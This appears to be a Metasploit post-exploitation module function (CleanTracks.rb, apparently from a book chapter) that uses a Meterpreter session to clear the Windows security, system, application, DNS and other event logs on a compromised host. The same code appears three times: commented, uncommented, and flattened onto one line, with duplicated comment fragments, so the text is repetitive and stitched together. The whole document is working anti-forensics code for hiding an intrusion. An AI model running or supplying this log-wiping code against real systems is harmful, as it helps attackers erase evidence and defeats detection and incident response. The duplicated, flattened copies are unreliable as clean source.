modules/post/chapter-10/CleanTracks.rb
def ls_clear
         # list of logfiles to delete (eventviewer)
         evtlogs = [
            'security',
            'system',
            'application',
            'directory service',
            'dns server',
            'file replication service'
     ]
 
             begin
               # print display on screen
               print_line("")
               print_line("    Clean EventLogs of: #{sysinfo['Computer']}")
               print_line("    ------------------------------------------")
               # clear IDS eventlogs loop funtion
               evtlogs.each do |evl|
               print_line("    Cleaning => #{evl} EventLog")
                 log = session.sys.eventlog.open(evl)
                 log.clear
             end
             # print display on screen
             print_line("    ------------------------------------------")
             print_line("    All EventLogs in EventViewer have been cleared!")
             print_line("")
       # error exception funtion
       rescue ::Exception => e
       print_error("Error clearing Event Log: #{e.class} #{e}")
       print_error("Try to rise meterpreter session to [nt authority/system] before runing this module")
    end
end
# ------------------------------------------------
# DEL_LOGS -  clear all EVENTLOGS on target system
# ------------------------------------------------
clear all EVENTLOGS on target system
clear all EVENTLOGS on target system
def ls_clear
         evtlogs = [
            'security',
            'system',
            'application',
            'directory service',
            'dns server',
            'file replication service'
     ]
             begin
               print_line("")
               print_line("    Clean EventLogs of: #{sysinfo['Computer']}")
               print_line("    ------------------------------------------")
               evtlogs.each do |evl|
               print_line("    Cleaning => #{evl} EventLog")
                 log = session.sys.eventlog.open(evl)
                 log.clear
             end
             print_line("    ------------------------------------------")
             print_line("    All EventLogs in EventViewer have been cleared!")
             print_line("")
       rescue ::Exception => e
       print_error("Error clearing Event Log: #{e.class} #{e}")
       print_error("Try to rise meterpreter session to [nt authority/system] before runing this module")
    end
end
def ls_clear evtlogs = [ 'security' , 'system' , 'application' , 'directory service' , 'dns server' , 'file replication service' ] begin print_line ( "" ) print_line ( "    Clean EventLogs of: #{sysinfo['Computer']}" ) print_line ( "    ------------------------------------------" ) evtlogs . each do | evl | print_line ( "    Cleaning => #{evl} EventLog" ) log = session . sys . eventlog . open ( evl ) log . clear end print_line ( "    ------------------------------------------" ) print_line ( "    All EventLogs in EventViewer have been cleared!" ) print_line ( "" ) rescue :: Exception => e print_error ( "Error clearing Event Log: #{e.class} #{e}" ) print_error ( "Try to rise meterpreter session to [nt authority/system] before runing this module" ) end end
DEL_LOGS -  clear all EVENTLOGS on target system
DEL_LOGS - clear all EVENTLOGS on target system
# list of logfiles to delete (eventviewer) # print display on screen # clear IDS eventlogs loop funtion # print display on screen # error exception funtion